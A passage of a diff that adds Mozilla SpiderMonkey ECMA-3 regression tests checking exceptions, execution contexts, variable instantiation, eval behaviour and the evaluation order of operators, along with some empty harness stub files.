+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 95101;
+var summary = 'Invoking an undefined function should produce a ReferenceError';
+var msgERR_REF_YES = 'ReferenceError';
+var msgERR_REF_NO = 'did NOT generate a ReferenceError';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+try
+{
+ xxxyyyzzz();
+}
+catch (e)
+{
+ status = 'Section 1 of test';
+ actual = e instanceof ReferenceError;
+ expect = true;
+ addThis();
+
+
+ /*
+ * This test is more literal, and may one day be invalid.
+ * Searching for literal string "ReferenceError" in e.toString()
+ */
+ status = 'Section 2 of test';
+ var match = e.toString().search(/ReferenceError/);
+ actual = (match > -1);
+ expect = true;
+ addThis();
+}
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = isReferenceError(actual);
+ expectedvalues[UBound] = isReferenceError(expect);
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
+
+
+// converts a Boolean result into a textual result -
+function isReferenceError(bResult)
+{
+ return bResult? msgERR_REF_YES : msgERR_REF_NO;
+}
diff --git a/js/src/tests/ecma_3/Exceptions/shell.js b/js/src/tests/ecma_3/Exceptions/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_3/Exceptions/shell.js
diff --git a/js/src/tests/ecma_3/ExecutionContexts/10.1.3-1.js b/js/src/tests/ecma_3/ExecutionContexts/10.1.3-1.js
new file mode 100644
index 000000000..eb29e55e5
--- /dev/null
+++ b/js/src/tests/ecma_3/ExecutionContexts/10.1.3-1.js
@@ -0,0 +1,167 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 11 Feb 2002
+ * SUMMARY: Testing functions having duplicate formal parameter names
+ *
+ * Note: given function f(x,x,x,x) {return x;}; f(1,2,3,4) should return 4.
+ * See ECMA-262 3rd Edition Final Section 10.1.3: Variable Instantiation
+ *
+ * Also see http://bugzilla.mozilla.org/show_bug.cgi?id=124900
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 124900;
+var summary = 'Testing functions having duplicate formal parameter names';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+function f1(x,x)
+{
+ return x;
+}
+status = inSection(1);
+actual = f1(1,2);
+expect = 2;
+addThis();
+
+
+function f2(x,x,x)
+{
+ return x*x*x;
+}
+status = inSection(2);
+actual = f2(1,2,3);
+expect = 27;
+addThis();
+
+
+function f3(x,x,x,x)
+{
+ return 'a' + x + 'b' + x + 'c' + x ;
+}
+status = inSection(3);
+actual = f3(1,2,3,4);
+expect = 'a4b4c4';
+addThis();
+
+
+/*
+ * If the value of the last duplicate parameter is not provided by
+ * the function caller, the value of this parameter is undefined
+ */
+function f4(x,a,b,x,z)
+{
+ return x;
+}
+status = inSection(4);
+actual = f4(1,2);
+expect = undefined;
+addThis();
+
+
+/*
+ * f.toString() should preserve any duplicate formal parameter names that exist
+ */
+function f5(x,x,x,x)
+{
+}
+status = inSection(5);
+actual = f5.toString().match(/\((.*)\)/)[1];
+actual = actual.replace(/\s/g, ''); // for definiteness, remove any white space
+expect = 'x,x,x,x';
+addThis();
+
+
+function f6(x,x,x,x)
+{
+ var ret = [];
+
+ for (var i=0; i<arguments.length; i++)
+ ret.push(arguments[i]);
+
+ return ret.toString();
+}
+status = inSection(6);
+actual = f6(1,2,3,4);
+expect = '1,2,3,4';
+addThis();
+
+
+/*
+ * This variation (assigning to x inside f) is from nboyd@atg.com
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=124900
+ */
+function f7(x,x,x,x)
+{
+ x = 999;
+ var ret = [];
+
+ for (var i=0; i<arguments.length; i++)
+ ret.push(arguments[i]);
+
+ return ret.toString();
+}
+status = inSection(7);
+actual = f7(1,2,3,4);
+expect = '1,2,3,999';
+addThis();
+
+
+/*
+ * Same as above, but with |var| keyword added -
+ */
+function f8(x,x,x,x)
+{
+ var x = 999;
+ var ret = [];
+
+ for (var i=0; i<arguments.length; i++)
+ ret.push(arguments[i]);
+
+ return ret.toString();
+}
+status = inSection(8);
+actual = f8(1,2,3,4);
+expect = '1,2,3,999';
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/ExecutionContexts/10.1.3-2.js b/js/src/tests/ecma_3/ExecutionContexts/10.1.3-2.js
new file mode 100644
index 000000000..295a58d4b
--- /dev/null
+++ b/js/src/tests/ecma_3/ExecutionContexts/10.1.3-2.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 395907;
+var summary = 'eval of function declaration should change existing variable';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'typeof x: number, typeof x: function, x(): true';
+ var x = "string";
+ function f () {
+ var x = 0;
+ actual += 'typeof x: ' + (typeof x) + ', ';
+ eval('function x() { return true; }');
+ actual += 'typeof x: ' + (typeof x) + ', ';
+ actual += 'x(): ' + x();
+ }
+ f();
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/ExecutionContexts/10.1.3.js b/js/src/tests/ecma_3/ExecutionContexts/10.1.3.js
new file mode 100644
index 000000000..0911afcb6
--- /dev/null
+++ b/js/src/tests/ecma_3/ExecutionContexts/10.1.3.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*-
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ ECMA Section: 10.1.3: Variable Instantiation
+ FunctionDeclarations are processed before VariableDeclarations, and
+ VariableDeclarations don't replace existing values with undefined
+*/
+
+test();
+
+function f()
+{
+ var x;
+
+ return typeof x;
+
+ function x()
+ {
+ return 7;
+ }
+}
+
+function test()
+{
+ enterFunc ("test");
+
+ printStatus ("ECMA Section: 10.1.3: Variable Instantiation.");
+ printBugNumber (17290);
+
+ reportCompare ("function", f(), "Declaration precedence test");
+
+ exitFunc("test");
+}
diff --git a/js/src/tests/ecma_3/ExecutionContexts/10.1.4-1.js b/js/src/tests/ecma_3/ExecutionContexts/10.1.4-1.js
new file mode 100644
index 000000000..95cc5b476
--- /dev/null
+++ b/js/src/tests/ecma_3/ExecutionContexts/10.1.4-1.js
@@ -0,0 +1,49 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*-
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ ECMA Section: 10.1.4.1 Entering An Execution Context
+ ECMA says:
+ * Global Code, Function Code
+ Variable instantiation is performed using the global object as the
+ variable object and using property attributes { DontDelete }.
+
+ * Eval Code
+ Variable instantiation is performed using the calling context's
+ variable object and using empty property attributes.
+*/
+
+var BUGNUMBER = '(none)';
+var summary = '10.1.4.1 Entering An Execution Context';
+var actual = '';
+var expect = '';
+
+test();
+
+function test()
+{
+ enterFunc ("test");
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var y;
+ eval("var x = 1");
+
+ if (delete y)
+ reportCompare('PASS', 'FAIL', "Expected *NOT* to be able to delete y");
+
+ if (typeof x == "undefined")
+ reportCompare('PASS', 'FAIL', "x did not remain defined after eval()");
+ else if (x != 1)
+ reportCompare('PASS', 'FAIL', "x did not retain it's value after eval()");
+
+ if (!delete x)
+ reportCompare('PASS', 'FAIL', "Expected to be able to delete x");
+
+ reportCompare('PASS', 'PASS', '10.1.4.1 Entering An Execution Context');
+
+ exitFunc("test");
+}
diff --git a/js/src/tests/ecma_3/ExecutionContexts/10.6.1-01.js b/js/src/tests/ecma_3/ExecutionContexts/10.6.1-01.js
new file mode 100644
index 000000000..3de644571
--- /dev/null
+++ b/js/src/tests/ecma_3/ExecutionContexts/10.6.1-01.js
@@ -0,0 +1,103 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 290774;
+var summary = 'activation object never delegates to Object.prototype';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var toStringResult;
+var evalResult;
+var watchResult;
+var parseIntResult;
+
+var eval = 'fooEval';
+var watch = undefined;
+var parseInt = 'fooParseInt';
+
+
+function toString()
+{
+ return 'fooString';
+}
+
+function normal()
+{
+ toStringResult = toString;
+ evalResult = eval;
+ watchResult = watch;
+ parseIntResult = parseInt;
+}
+
+function outerinnervar()
+{
+ toStringResult = toString;
+ evalResult = eval;
+ watchResult = watch;
+ parseIntResult = parseInt;
+ function inner()
+ {
+ // addition of any statement
+ // which accesses a variable
+ // from the outer scope causes the bug
+ printStatus(toString);
+ }
+}
+
+expect = true;
+
+printStatus('normal');
+printStatus('======');
+normal();
+
+printStatus('toStringResult ' + toStringResult);
+printStatus('toString ' + toString);
+actual = ((toStringResult + '') == (toString + ''));
+reportCompare(expect, actual, inSection(1));
+
+printStatus('evalResult ' + evalResult);
+printStatus('eval ' + eval);
+actual = ((evalResult + '') == (eval + ''));
+reportCompare(expect, actual, inSection(2));
+
+printStatus('watchResult ' + watchResult);
+printStatus('watch ' + watch);
+actual = ((watchResult + '') == (watch + ''));
+reportCompare(expect, actual, inSection(3));
+
+printStatus('parseIntResult ' + parseIntResult);
+printStatus('parseInt ' + parseInt);
+actual = ((parseIntResult + '') == (parseInt + ''));
+reportCompare(expect, actual, inSection(4));
+
+printStatus('outerinner');
+printStatus('==========');
+
+outerinnervar();
+
+printStatus('toStringResult ' + toStringResult);
+printStatus('toString ' + toString);
+actual = ((toStringResult + '') == (toString + ''));
+reportCompare(expect, actual, inSection(5));
+
+
+printStatus('evalResult ' + evalResult);
+printStatus('eval ' + eval);
+actual = ((evalResult + '') == (eval + ''));
+reportCompare(expect, actual, inSection(6));
+
+printStatus('watchResult ' + watchResult);
+printStatus('watch ' + watch);
+actual = ((watchResult + '') == (watch + ''));
+reportCompare(expect, actual, inSection(7));
+
+printStatus('parseIntResult ' + parseIntResult);
+printStatus('parseInt ' + parseInt);
+actual = ((parseIntResult + '') == (parseInt + ''));
+reportCompare(expect, actual, inSection(8));
diff --git a/js/src/tests/ecma_3/ExecutionContexts/browser.js b/js/src/tests/ecma_3/ExecutionContexts/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_3/ExecutionContexts/browser.js
diff --git a/js/src/tests/ecma_3/ExecutionContexts/regress-23346.js b/js/src/tests/ecma_3/ExecutionContexts/regress-23346.js
new file mode 100644
index 000000000..1b22b8c51
--- /dev/null
+++ b/js/src/tests/ecma_3/ExecutionContexts/regress-23346.js
@@ -0,0 +1,35 @@
+/* -*- tab-width: 8; indent-tabs-mode: nil; js-indent-level: 4 -*-
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+var CALL_CALLED = "PASSED";
+
+test();
+
+function f(x)
+{
+ if (x)
+ return call();
+
+ return "FAILED!";
+}
+
+function call()
+{
+ return CALL_CALLED;
+}
+
+function test()
+{
+ enterFunc ("test");
+
+ printStatus ("ECMA Section: 10.1.3: Variable Instantiation.");
+ printBugNumber (23346);
+
+ reportCompare ("PASSED", f(true),
+ "Unqualified reference should not see Function.prototype");
+
+ exitFunc("test");
+}
diff --git a/js/src/tests/ecma_3/ExecutionContexts/regress-448595-01.js b/js/src/tests/ecma_3/ExecutionContexts/regress-448595-01.js
new file mode 100644
index 000000000..36359eb2a
--- /dev/null
+++ b/js/src/tests/ecma_3/ExecutionContexts/regress-448595-01.js
@@ -0,0 +1,58 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 448595;
+var summary = 'scope chain var declaration with initialiser in |with| clauses';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var f;
+
+ expect = 'bar';
+
+ f = function(){
+ var e = "bar";
+ with({e:"foo"}) {
+ var e = "wibble";
+ };
+
+ actual = e;
+ }
+
+ f();
+
+ reportCompare(expect, actual, summary + ': with');
+
+ f = function(){
+ var e = "bar";
+ try
+ {
+ throw {e:"foo"};
+ }
+ catch(e) {
+ var e = "wibble";
+ };
+
+ actual = e;
+ }
+
+ f();
+
+ reportCompare(expect, actual, summary + ': catch');
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/ExecutionContexts/shell.js b/js/src/tests/ecma_3/ExecutionContexts/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_3/ExecutionContexts/shell.js
diff --git a/js/src/tests/ecma_3/Expressions/11.10-01.js b/js/src/tests/ecma_3/Expressions/11.10-01.js
new file mode 100644
index 000000000..1810f5797
--- /dev/null
+++ b/js/src/tests/ecma_3/Expressions/11.10-01.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 396969;
+var summary = '11.10 - & should evaluate operands in order';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'o.valueOf, p.valueOf';
+ var actualval;
+ var expectval = 2;
+
+ var o = {
+ valueOf: (function (){ actual += 'o.valueOf'; return this.value}),
+ value:42
+ };
+
+ var p = {
+ valueOf: (function (){ actual += ', p.valueOf'; return this.value}),
+ value:2
+ };
+
+ actualval = (o & p);
+
+ reportCompare(expectval, actualval, summary + ': value');
+ reportCompare(expect, actual, summary + ': order');
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Expressions/11.10-02.js b/js/src/tests/ecma_3/Expressions/11.10-02.js
new file mode 100644
index 000000000..2f3e3c99d
--- /dev/null
+++ b/js/src/tests/ecma_3/Expressions/11.10-02.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 396969;
+var summary = '11.10 - ^ should evaluate operands in order';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'o.valueOf, p.valueOf';
+ var actualval;
+ var expectval = 40;
+
+ var o = {
+ valueOf: (function (){ actual += 'o.valueOf'; return this.value}),
+ value:42
+ };
+
+ var p = {
+ valueOf: (function (){ actual += ', p.valueOf'; return this.value}),
+ value:2
+ };
+
+ actualval = (o ^ p);
+
+ reportCompare(expectval, actualval, summary + ': value');
+ reportCompare(expect, actual, summary + ': order');
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Expressions/11.10-03.js b/js/src/tests/ecma_3/Expressions/11.10-03.js
new file mode 100644
index 000000000..fba85c8fa
--- /dev/null
+++ b/js/src/tests/ecma_3/Expressions/11.10-03.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 396969;
+var summary = '11.10 - | should evaluate operands in order';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'o.valueOf, p.valueOf';
+ var actualval;
+ var expectval = 42;
+
+ var o = {
+ valueOf: (function (){ actual += 'o.valueOf'; return this.value}),
+ value:42
+ };
+
+ var p = {
+ valueOf: (function (){ actual += ', p.valueOf'; return this.value}),
+ value:2
+ };
+
+ actualval = (o | p);
+
+ reportCompare(expectval, actualval, summary + ': value');
+ reportCompare(expect, actual, summary + ': order');
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Expressions/11.6.1-1.js b/js/src/tests/ecma_3/Expressions/11.6.1-1.js
new file mode 100644
index 000000000..76e71f30c
--- /dev/null
+++ b/js/src/tests/ecma_3/Expressions/11.6.1-1.js
@@ -0,0 +1,142 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 14 Mar 2003
+ * SUMMARY: Testing left-associativity of the + operator
+ *
+ * See ECMA-262 Ed.3, Section 11.6.1, "The Addition operator"
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=196290
+ *
+ * The upshot: |a + b + c| should always equal |(a + b) + c|
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 196290;
+var summary = 'Testing left-associativity of the + operator';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+status = inSection(1);
+actual = 1 + 1 + 'px';
+expect = '2px';
+addThis();
+
+status = inSection(2);
+actual = 'px' + 1 + 1;
+expect = 'px11';
+addThis();
+
+status = inSection(3);
+actual = 1 + 1 + 1 + 'px';
+expect = '3px';
+addThis();
+
+status = inSection(4);
+actual = 1 + 1 + 'a' + 1 + 1 + 'b';
+expect = '2a11b';
+addThis();
+
+/*
+ * The next sections test the + operator via eval()
+ */
+status = inSection(5);
+actual = sumThese(1, 1, 'a', 1, 1, 'b');
+expect = '2a11b';
+addThis();
+
+status = inSection(6);
+actual = sumThese(new Number(1), new Number(1), 'a');
+expect = '2a';
+addThis();
+
+status = inSection(7);
+actual = sumThese('a', new Number(1), new Number(1));
+expect = 'a11';
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+/*
+ * Applies the + operator to the provided arguments via eval().
+ *
+ * Form an eval string of the form 'arg1 + arg2 + arg3', but
+ * remember to add double-quotes inside the eval string around
+ * any argument that is of string type. For example, suppose the
+ * arguments were 11, 'a', 22. Then the eval string should be
+ *
+ * arg1 + quoteThis(arg2) + arg3
+ *
+ * If we didn't put double-quotes around the string argument,
+ * we'd get this for an eval string:
+ *
+ * '11 + a + 22'
+ *
+ * If we eval() this, we get 'ReferenceError: a is not defined'.
+ * With proper quoting, we get eval('11 + "a" + 22') as desired.
+ */
+function sumThese()
+{
+ var sEval = '';
+ var arg;
+ var i;
+
+ var L = arguments.length;
+ for (i=0; i<L; i++)
+ {
+ arg = arguments[i];
+ if (typeof arg === 'string')
+ arg = quoteThis(arg);
+
+ if (i < L-1)
+ sEval += arg + ' + ';
+ else
+ sEval += arg;
+ }
+
+ return eval(sEval);
+}
+
+
+function quoteThis(x)
+{
+ return '"' + x + '"';
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Expressions/11.7.1-01.js b/js/src/tests/ecma_3/Expressions/11.7.1-01.js
new file mode 100644
index 000000000..b839c2950
--- /dev/null
+++ b/js/src/tests/ecma_3/Expressions/11.7.1-01.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 396969;
+var summary = '11.7.1 - << should evaluate operands in order';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'o.valueOf, p.valueOf';
+ var actualval;
+ var expectval = 168;
+
+ var o = {
+ valueOf: (function (){ actual += 'o.valueOf'; return this.value}),
+ value:42
+ };
+
+ var p = {
+ valueOf: (function (){ actual += ', p.valueOf'; return this.value}),
+ value:2
+ };
+
+ actualval = (o << p);
+
+ reportCompare(expectval, actualval, summary + ': value');
+ reportCompare(expect, actual, summary + ': order');
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Expressions/11.7.2-01.js b/js/src/tests/ecma_3/Expressions/11.7.2-01.js
new file mode 100644
index 000000000..072edc7b3
--- /dev/null
+++ b/js/src/tests/ecma_3/Expressions/11.7.2-01.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 396969;
+var summary = '11.7.2 - >> should evaluate operands in order';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'o.valueOf, p.valueOf';
+ var actualval;
+ var expectval = 10;
+
+ var o = {
+ valueOf: (function (){ actual += 'o.valueOf'; return this.value}),
+ value:42
+ };
+
+ var p = {
+ valueOf: (function (){ actual += ', p.valueOf'; return this.value}),
+ value:2
+ };
+
+ actualval = (o >> p);
+
+ reportCompare(expectval, actualval, summary + ': value');
+ reportCompare(expect, actual, summary + ': order');
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Expressions/11.7.3-01.js b/js/src/tests/ecma_3/Expressions/11.7.3-01.js
new file mode 100644
index 000000000..75227e242
--- /dev/null
+++ b/js/src/tests/ecma_3/Expressions/11.7.3-01.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 396969;
+var summary = '11.7.3 - >>> should evaluate operands in order';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'o.valueOf, p.valueOf';
+ var actualval;
+ var expectval = 10;
+
+ var o = {
+ valueOf: (function (){ actual += 'o.valueOf'; return this.value}),
+ value:42
+ };
+
+ var p = {
+ valueOf: (function (){ actual += ', p.valueOf'; return this.value}),
+ value:2
+ };
+
+ actualval = (o >>> p);
+
+ reportCompare(expectval, actualval, summary + ': value');
+ reportCompare(expect, actual, summary + ': order');
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Expressions/11.9.6-1.js b/js/src/tests/ecma_3/Expressions/11.9.6-1.js
new file mode 100644
index 000000000..ccf9e7b64
--- /dev/null
+++ b/js/src/tests/ecma_3/Expressions/11.9.6-1.js
@@ -0,0 +1,179 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 20 Feb 2002
+ * SUMMARY: Testing the comparison |undefined === null|
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=126722
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 126722;
+var summary = 'Testing the comparison |undefined === null|';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+status = inSection(1);
+if (undefined === null)
+ actual = true;
+else
+ actual = false;
+expect = false;
+addThis();
+
+
+
+status = inSection(2);
+switch(true)
+{
+case (undefined === null) :
+ actual = true;
+ break;
+
+default:
+ actual = false;
+}
+expect = false;
+addThis();
+
+
+
+status = inSection(3);
+function f3(x)
+{
+ var res = false;
+
+ switch(true)
+ {
+ case (x === null) :
+ res = true;
+ break;
+
+ default:
+ // do nothing
+ }
+
+ return res;
+}
+
+actual = f3(undefined);
+expect = false;
+addThis();
+
+
+
+status = inSection(4);
+function f4(arr)
+{
+ var elt = '';
+ var res = false;
+
+ for (i=0; i<arr.length; i++)
+ {
+ elt = arr[i];
+
+ switch(true)
+ {
+ case (elt === null) :
+ res = true;
+ break;
+
+ default:
+ // do nothing
+ }
+ }
+
+ return res;
+}
+
+var arr = Array('a', undefined);
+actual = f4(arr);
+expect = false;
+addThis();
+
+
+
+status = inSection(5);
+function f5(arr)
+{
+ var len = arr.length;
+
+ for(var i=0; (arr[i]===undefined) && (i<len); i++)
+ ; //do nothing
+
+ return i;
+}
+
+/*
+ * An array of 5 undefined elements. Note:
+ *
+ * The return value of eval(a STATEMENT) is undefined.
+ * A non-existent PROPERTY is undefined, not a ReferenceError.
+ * No undefined element exists AFTER trailing comma at end.
+ *
+ */
+var arrUndef = [ , undefined, eval('var x = 0'), this.NOT_A_PROPERTY, , ];
+actual = f5(arrUndef);
+expect = 5;
+addThis();
+
+
+
+status = inSection(6);
+function f6(arr)
+{
+ var len = arr.length;
+
+ for(var i=0; (arr[i]===null) && (i<len); i++)
+ ; //do nothing
+
+ return i;
+}
+
+/*
+ * Use same array as above. This time we're comparing to |null|, so we expect 0
+ */
+actual = f6(arrUndef);
+expect = 0;
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Expressions/browser.js b/js/src/tests/ecma_3/Expressions/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_3/Expressions/browser.js
diff --git a/js/src/tests/ecma_3/Expressions/shell.js b/js/src/tests/ecma_3/Expressions/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_3/Expressions/shell.js
diff --git a/js/src/tests/ecma_3/FunExpr/browser.js b/js/src/tests/ecma_3/FunExpr/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
